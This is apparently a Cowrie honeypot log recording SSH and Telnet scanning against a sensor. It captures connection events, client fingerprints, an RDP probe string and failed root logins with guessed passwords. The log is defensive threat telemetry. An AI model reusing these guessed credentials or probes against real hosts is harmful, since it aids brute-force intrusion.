{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61145,"dst_ip":"10.17.0.5","dst_port":22,"session":"12ad451d3041","protocol":"ssh","message":"New connection: 167.172.81.52:61145 (10.17.0.5:22) [session: 12ad451d3041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:21.795209Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:21.799635Z","src_ip":"167.172.81.52","session":"12ad451d3041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:21.803450Z","src_ip":"167.172.81.52","session":"12ad451d3041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49510,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e003ec94824","protocol":"telnet","message":"New connection: 152.42.224.71:49510 (10.17.0.5:23) [session: 4e003ec94824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:25.109424Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49232,"dst_ip":"10.17.0.5","dst_port":23,"session":"10f6083d391e","protocol":"telnet","message":"New connection: 152.42.224.71:49232 (10.17.0.5:23) [session: 10f6083d391e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:26.763895Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":37466,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ebc7417e343","protocol":"ssh","message":"New connection: 103.77.242.62:37466 (159.203.135.109:22) [session: 9ebc7417e343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:26.931258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:26.935915Z","src_ip":"103.77.242.62","session":"9ebc7417e343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:27.182709Z","src_ip":"103.77.242.62","session":"9ebc7417e343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5230","message":"login attempt [root/nokia5230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:27.922099Z","src_ip":"103.77.242.62","session":"9ebc7417e343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:29.174194Z","src_ip":"103.77.242.62","session":"9ebc7417e343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":53146,"dst_ip":"10.17.0.5","dst_port":22,"session":"506afc6734a7","protocol":"ssh","message":"New connection: 43.134.184.253:53146 (10.17.0.5:22) [session: 506afc6734a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:29.975935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:29.980691Z","src_ip":"43.134.184.253","session":"506afc6734a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:30.226436Z","src_ip":"43.134.184.253","session":"506afc6734a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"not4u2no","message":"login attempt [root/not4u2no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:31.241171Z","src_ip":"43.134.184.253","session":"506afc6734a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49240,"dst_ip":"10.17.0.5","dst_port":23,"session":"35dbe7a534ff","protocol":"telnet","message":"New connection: 152.42.224.71:49240 (10.17.0.5:23) [session: 35dbe7a534ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:31.666041Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:32.489850Z","src_ip":"43.134.184.253","session":"506afc6734a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":44050,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfe3c56d8fd3","protocol":"ssh","message":"New connection: 43.173.88.240:44050 (10.17.0.5:22) [session: cfe3c56d8fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:52.296483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:52.300591Z","src_ip":"43.173.88.240","session":"cfe3c56d8fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:52.373663Z","src_ip":"43.173.88.240","session":"cfe3c56d8fd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"778899","message":"login attempt [root/778899] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:52.678183Z","src_ip":"43.173.88.240","session":"cfe3c56d8fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:07:53.749414Z","src_ip":"43.173.88.240","session":"cfe3c56d8fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37550,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bc59b77f65c","protocol":"telnet","message":"New connection: 152.42.224.71:37550 (10.17.0.5:23) [session: 9bc59b77f65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:02.577053Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":45468,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f3dccf88ee7","protocol":"ssh","message":"New connection: 37.233.85.71:45468 (10.17.0.5:22) [session: 5f3dccf88ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:05.158974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:05.164301Z","src_ip":"37.233.85.71","session":"5f3dccf88ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:05.268515Z","src_ip":"37.233.85.71","session":"5f3dccf88ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hgfdsa","message":"login attempt [root/hgfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:05.581013Z","src_ip":"37.233.85.71","session":"5f3dccf88ee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:06.691268Z","src_ip":"37.233.85.71","session":"5f3dccf88ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48618,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b3feb32e8a8","protocol":"telnet","message":"New connection: 152.42.224.71:48618 (10.17.0.5:23) [session: 9b3feb32e8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:14.946509Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56084,"dst_ip":"10.17.0.5","dst_port":23,"session":"023cd1507bfa","protocol":"telnet","message":"New connection: 152.42.224.71:56084 (10.17.0.5:23) [session: 023cd1507bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:18.168653Z"}
{"eventid":"cowrie.session.closed","duration":120.00158476829529,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:35.912753Z","src_ip":"152.42.224.71","session":"3abd35419153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45104,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e95803b65d0","protocol":"ssh","message":"New connection: 103.27.238.116:45104 (10.17.0.5:22) [session: 9e95803b65d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:36.833658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:36.839402Z","src_ip":"103.27.238.116","session":"9e95803b65d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:37.120372Z","src_ip":"103.27.238.116","session":"9e95803b65d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"basketball","message":"login attempt [root/basketball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:37.962537Z","src_ip":"103.27.238.116","session":"9e95803b65d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:39.245865Z","src_ip":"103.27.238.116","session":"9e95803b65d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56840,"dst_ip":"159.203.135.109","dst_port":22,"session":"452e7f154c99","protocol":"ssh","message":"New connection: 152.42.212.128:56840 (159.203.135.109:22) [session: 452e7f154c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:39.605377Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:39.610839Z","src_ip":"152.42.212.128","session":"452e7f154c99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:39.614716Z","src_ip":"152.42.212.128","session":"452e7f154c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56726,"dst_ip":"10.17.0.5","dst_port":23,"session":"0371dc40f61a","protocol":"telnet","message":"New connection: 152.42.224.71:56726 (10.17.0.5:23) [session: 0371dc40f61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:44.811054Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":51970,"dst_ip":"10.17.0.5","dst_port":22,"session":"0284af1536d7","protocol":"ssh","message":"New connection: 43.134.184.253:51970 (10.17.0.5:22) [session: 0284af1536d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:49.584802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:49.593096Z","src_ip":"43.134.184.253","session":"0284af1536d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:49.831145Z","src_ip":"43.134.184.253","session":"0284af1536d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmod123","message":"login attempt [root/gmod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:50.823322Z","src_ip":"43.134.184.253","session":"0284af1536d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:08:52.064412Z","src_ip":"43.134.184.253","session":"0284af1536d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.66511654853821,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:01.331013Z","src_ip":"152.42.224.71","session":"35dbe7a534ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":42952,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c8b1c44391","protocol":"ssh","message":"New connection: 43.173.88.240:42952 (10.17.0.5:22) [session: 96c8b1c44391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:05.827494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:05.833611Z","src_ip":"43.173.88.240","session":"96c8b1c44391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:05.903071Z","src_ip":"43.173.88.240","session":"96c8b1c44391","protocol":"ssh"}
